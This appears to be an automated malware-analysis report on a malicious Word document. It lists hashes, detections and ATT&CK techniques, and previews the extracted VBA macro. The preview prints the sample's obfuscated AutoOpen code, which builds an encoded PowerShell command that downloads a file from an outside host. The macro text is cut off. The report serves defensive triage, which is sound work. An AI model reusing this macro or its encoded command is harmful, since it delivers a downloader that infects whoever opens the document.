Office (OLE) malware analysis — malicious · 9c4740a2048f3e37

MALICIOUS

Office (OLE)

153.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2020-02-04

MD5: 4de5698de2ddff4537a4c4dc9bedc43b SHA-1: 4893b13c4d3ca2460c8fd6dc4ff94cd5e067f329 SHA-256: 9c4740a2048f3e37646b7cf9eb3cbad3231b962bcfb9a368006ed59302e429d1

182 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Microsoft Office document containing a VBA macro with an AutoOpen function. This macro is designed to execute code, likely to download and run a second-stage payload, as indicated by the 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristic firing with 'exec=Shell'. The ClamAV detection name further supports its malicious nature.

Heuristics 6

ClamAV: Doc.Malware.Sagent-6697295-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Sagent-6697295-0
VBA macros detected medium 2 related findings OLE_VBA_MACROS

Document contains VBA macro code
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 52742 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	52742 bytes
SHA-256: `74e3dbaa44379be2a3d785c052db50993546ee3a568808911bc4aa6c545ef3d0`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Const DiRumeZOMICaLyhIZAQUTYgIdUsObia = 0 Sub AutoOpen() On Error Resume Next Dim mTOxODYpODOQaWFSANUQEDOPoFYhijApEnIykALu(4) If 11 = 11 + (3 * 0) Then mTOxODYpODOQaWFSANUQEDOPoFYhijApEnIykALu(0) = CLng(8417) End If mTOxODYpODOQaWFSANUQEDOPoFYhijApEnIykALu(1) = Sqr(3) mTOxODYpODOQaWFSANUQEDOPoFYhijApEnIykALu(2) = Month(84178417) mTOxODYpODOQaWFSANUQEDOPoFYhijApEnIykALu(3) = Fix(8417.3) Dim aunopUiYooxxOtSIQacUwwHYait(4) If 13 = 13 + (5 * 0) Then aunopUiYooxxOtSIQacUwwHYait(0) = CLng(9653) End If aunopUiYooxxOtSIQacUwwHYait(1) = Sqr(5) aunopUiYooxxOtSIQacUwwHYait(2) = Month(96539653) aunopUiYooxxOtSIQacUwwHYait(3) = Fix(9653.5) Dim iaPerIBeMOTAgUSALoriMhIiaJBEWEM(4) If 11 = 11 + (8 * 0) Then iaPerIBeMOTAgUSALoriMhIiaJBEWEM(0) = CLng(6604) End If iaPerIBeMOTAgUSALoriMhIiaJBEWEM(1) = Sqr(8) iaPerIBeMOTAgUSALoriMhIiaJBEWEM(2) = Month(66046604) Dim XExAvEkaryZuRudEnytYGcErokocioQUmeWeVEaYXEa(4) If 12 = 12 + (5 * 0) Then XExAvEkaryZuRudEnytYGcErokocioQUmeWeVEaYXEa(0) = CLng(1246) End If XExAvEkaryZuRudEnytYGcErokocioQUmeWeVEaYXEa(1) = Sqr(5) XExAvEkaryZuRudEnytYGcErokocioQUmeWeVEaYXEa(2) = Month(12461246) XExAvEkaryZuRudEnytYGcErokocioQUmeWeVEaYXEa(3) = Fix(1246.5) Dim NihuNuqEpUZAdURupyGAsOrOGUNYcaWo(4) If 13 = 13 + (8 * 0) Then NihuNuqEpUZAdURupyGAsOrOGUNYcaWo(0) = CLng(4391) End If NihuNuqEpUZAdURupyGAsOrOGUNYcaWo(1) = Sqr(8) NihuNuqEpUZAdURupyGAsOrOGUNYcaWo(2) = Month(43914391) NihuNuqEpUZAdURupyGAsOrOGUNYcaWo(3) = Fix(4391.8) iaPerIBeMOTAgUSALoriMhIiaJBEWEM(3) = Fix(6604.8) xaSEZOlAKasOasYMeroSiCYsOsAHUmY = "d." + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "x" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + " /c p^O^w^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^R^s^H^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^L^L^.^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^x^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^n^A^G^8^A^c^g^B^s^A^H^g^A^b^w^B^h^A" Dim cYfUzaZuNoKYKEKYqEvMoPEdyWMMiPIJuMidu(4) Dim XibEvYHYCUhDOWYXIPocYSUPaWIt(4) If 11 = 11 + (2 * 0) Then XibEvYHYCUhDOWYXIPocYSUPaWIt(0) = CLng(7490) End If XibEvYHYCUhDOWYXIPocYSUPaWIt(1) = Sqr(2) XibEvYHYCUhDOWYXIPocYSUPaWIt(2) = Month(74907490) XibEvYHYCUhDOWYXIPocYSUPaWIt(3) = Fix(7490.2) Dim zAHYmURoEWyiyBYgATdykISIXEKynOD(4) If 12 = 12 + (1 * 0) Then zAHYmURoEWyiyBYgATdykISIXEKynOD(0) = CLng(6436) End If zAHYmURoEWyiyBYgATdykISIXEKynOD(1) = Sqr(1) zAHYmURoEWyiyBYgATdykISIXEKynOD(2) = Month(64366436) zAHYmURoEWyiyBYgATdykISIXEKynOD(3) = Fix(6436.1) If 11 = 11 + (10 * 0) Then cYfUzaZuNoKYKEKYqEvMoPEdyWMMiPIJuMidu(0) = CLng(464) Dim JEMwifuXavAjFEceRAbYMYhyt(4) If 13 = 13 + (4 * 0) Then JEMwifuXavAjFEceRAbYMYhyt(0) = CLng(2364) End If JEMwifuXavAjFEceRAbYMYhyt(1) = Sqr(4) JEMwifuXavAjFEceRAbYMYhyt(2) = Month(23642364) JEMwifuXavAjFEceRAbYMYhyt(3) = Fix(2364.4) End If cYfUzaZuNoKYKEKYqEvMoPEdyWMMiPIJuMidu(1) = Sqr(10) Dim RARoAKEMoqOaETIKypoXasUBadUJeDOCe(4) If 10 = 10 + (1 * 0) Then RARoAKEMoqOaETIKypoXasUBadUJeDOCe(0) = CLng(5200) End If RARoAKEMoqOaETIKypoXasUBadUJeDOCe(1) = Sqr(1) RARoAKEMoqOaETIKypoXasUBadUJeDOCe(2) = Month(52005200) RARoAKEMoqOaETIKypoXasUBadUJeDOCe(3) = Fix(5200.1) cYfUzaZuNoKYKEKYqEvMoPEdyWMMiPIJuMidu(2) = Month(464464) Dim ridUcuVUWOpitwiQcIWuRYmexIHYkequti(4) If 10 = 10 + (7 * 0) Then ridUcuVUWOpitwiQcIWuRYmexIHYkequti(0) = CLng(6147) End If ridUcuVUWOpitwiQcIWuRYmexIHYkequti(1) = Sqr(7) ridUcuVUWOpitwiQcIWuRYmexIHYkequti(2) = Month(61476147) ridUcuVUWOpitwiQcIWuRYmex ... (truncated)

SHA-256: 74e3dbaa44379be2a3d785c052db50993546ee3a568808911bc4aa6c545ef3d0

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const DiRumeZOMICaLyhIZAQUTYgIdUsObia = 0
Sub AutoOpen()
On Error Resume Next
Dim mTOxODYpODOQaWFSANUQEDOPoFYhijApEnIykALu(4)

If 11 = 11 + (3 * 0) Then
mTOxODYpODOQaWFSANUQEDOPoFYhijApEnIykALu(0) = CLng(8417)
End If
mTOxODYpODOQaWFSANUQEDOPoFYhijApEnIykALu(1) = Sqr(3)
mTOxODYpODOQaWFSANUQEDOPoFYhijApEnIykALu(2) = Month(84178417)
mTOxODYpODOQaWFSANUQEDOPoFYhijApEnIykALu(3) = Fix(8417.3)
Dim aunopUiYooxxOtSIQacUwwHYait(4)

If 13 = 13 + (5 * 0) Then
aunopUiYooxxOtSIQacUwwHYait(0) = CLng(9653)
End If
aunopUiYooxxOtSIQacUwwHYait(1) = Sqr(5)
aunopUiYooxxOtSIQacUwwHYait(2) = Month(96539653)
aunopUiYooxxOtSIQacUwwHYait(3) = Fix(9653.5)
Dim iaPerIBeMOTAgUSALoriMhIiaJBEWEM(4)

If 11 = 11 + (8 * 0) Then
iaPerIBeMOTAgUSALoriMhIiaJBEWEM(0) = CLng(6604)
End If
iaPerIBeMOTAgUSALoriMhIiaJBEWEM(1) = Sqr(8)
iaPerIBeMOTAgUSALoriMhIiaJBEWEM(2) = Month(66046604)
Dim XExAvEkaryZuRudEnytYGcErokocioQUmeWeVEaYXEa(4)

If 12 = 12 + (5 * 0) Then
XExAvEkaryZuRudEnytYGcErokocioQUmeWeVEaYXEa(0) = CLng(1246)
End If
XExAvEkaryZuRudEnytYGcErokocioQUmeWeVEaYXEa(1) = Sqr(5)
XExAvEkaryZuRudEnytYGcErokocioQUmeWeVEaYXEa(2) = Month(12461246)
XExAvEkaryZuRudEnytYGcErokocioQUmeWeVEaYXEa(3) = Fix(1246.5)
Dim NihuNuqEpUZAdURupyGAsOrOGUNYcaWo(4)

If 13 = 13 + (8 * 0) Then
NihuNuqEpUZAdURupyGAsOrOGUNYcaWo(0) = CLng(4391)
End If
NihuNuqEpUZAdURupyGAsOrOGUNYcaWo(1) = Sqr(8)
NihuNuqEpUZAdURupyGAsOrOGUNYcaWo(2) = Month(43914391)
NihuNuqEpUZAdURupyGAsOrOGUNYcaWo(3) = Fix(4391.8)
iaPerIBeMOTAgUSALoriMhIiaJBEWEM(3) = Fix(6604.8)
xaSEZOlAKasOasYMeroSiCYsOsAHUmY = "d." + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "x" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + " /c p^O^w^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^R^s^H^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^L^L^.^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^x^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^n^A^G^8^A^c^g^B^s^A^H^g^A^b^w^B^h^A"
Dim cYfUzaZuNoKYKEKYqEvMoPEdyWMMiPIJuMidu(4)

Dim XibEvYHYCUhDOWYXIPocYSUPaWIt(4)

If 11 = 11 + (2 * 0) Then
XibEvYHYCUhDOWYXIPocYSUPaWIt(0) = CLng(7490)
End If
XibEvYHYCUhDOWYXIPocYSUPaWIt(1) = Sqr(2)
XibEvYHYCUhDOWYXIPocYSUPaWIt(2) = Month(74907490)
XibEvYHYCUhDOWYXIPocYSUPaWIt(3) = Fix(7490.2)
Dim zAHYmURoEWyiyBYgATdykISIXEKynOD(4)

If 12 = 12 + (1 * 0) Then
zAHYmURoEWyiyBYgATdykISIXEKynOD(0) = CLng(6436)
End If
zAHYmURoEWyiyBYgATdykISIXEKynOD(1) = Sqr(1)
zAHYmURoEWyiyBYgATdykISIXEKynOD(2) = Month(64366436)
zAHYmURoEWyiyBYgATdykISIXEKynOD(3) = Fix(6436.1)
If 11 = 11 + (10 * 0) Then
cYfUzaZuNoKYKEKYqEvMoPEdyWMMiPIJuMidu(0) = CLng(464)
Dim JEMwifuXavAjFEceRAbYMYhyt(4)

If 13 = 13 + (4 * 0) Then
JEMwifuXavAjFEceRAbYMYhyt(0) = CLng(2364)
End If
JEMwifuXavAjFEceRAbYMYhyt(1) = Sqr(4)
JEMwifuXavAjFEceRAbYMYhyt(2) = Month(23642364)
JEMwifuXavAjFEceRAbYMYhyt(3) = Fix(2364.4)
End If
cYfUzaZuNoKYKEKYqEvMoPEdyWMMiPIJuMidu(1) = Sqr(10)
Dim RARoAKEMoqOaETIKypoXasUBadUJeDOCe(4)

If 10 = 10 + (1 * 0) Then
RARoAKEMoqOaETIKypoXasUBadUJeDOCe(0) = CLng(5200)
End If
RARoAKEMoqOaETIKypoXasUBadUJeDOCe(1) = Sqr(1)
RARoAKEMoqOaETIKypoXasUBadUJeDOCe(2) = Month(52005200)
RARoAKEMoqOaETIKypoXasUBadUJeDOCe(3) = Fix(5200.1)
cYfUzaZuNoKYKEKYqEvMoPEdyWMMiPIJuMidu(2) = Month(464464)
Dim ridUcuVUWOpitwiQcIWuRYmexIHYkequti(4)

If 10 = 10 + (7 * 0) Then
ridUcuVUWOpitwiQcIWuRYmexIHYkequti(0) = CLng(6147)
End If
ridUcuVUWOpitwiQcIWuRYmexIHYkequti(1) = Sqr(7)
ridUcuVUWOpitwiQcIWuRYmexIHYkequti(2) = Month(61476147)
ridUcuVUWOpitwiQcIWuRYmex
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.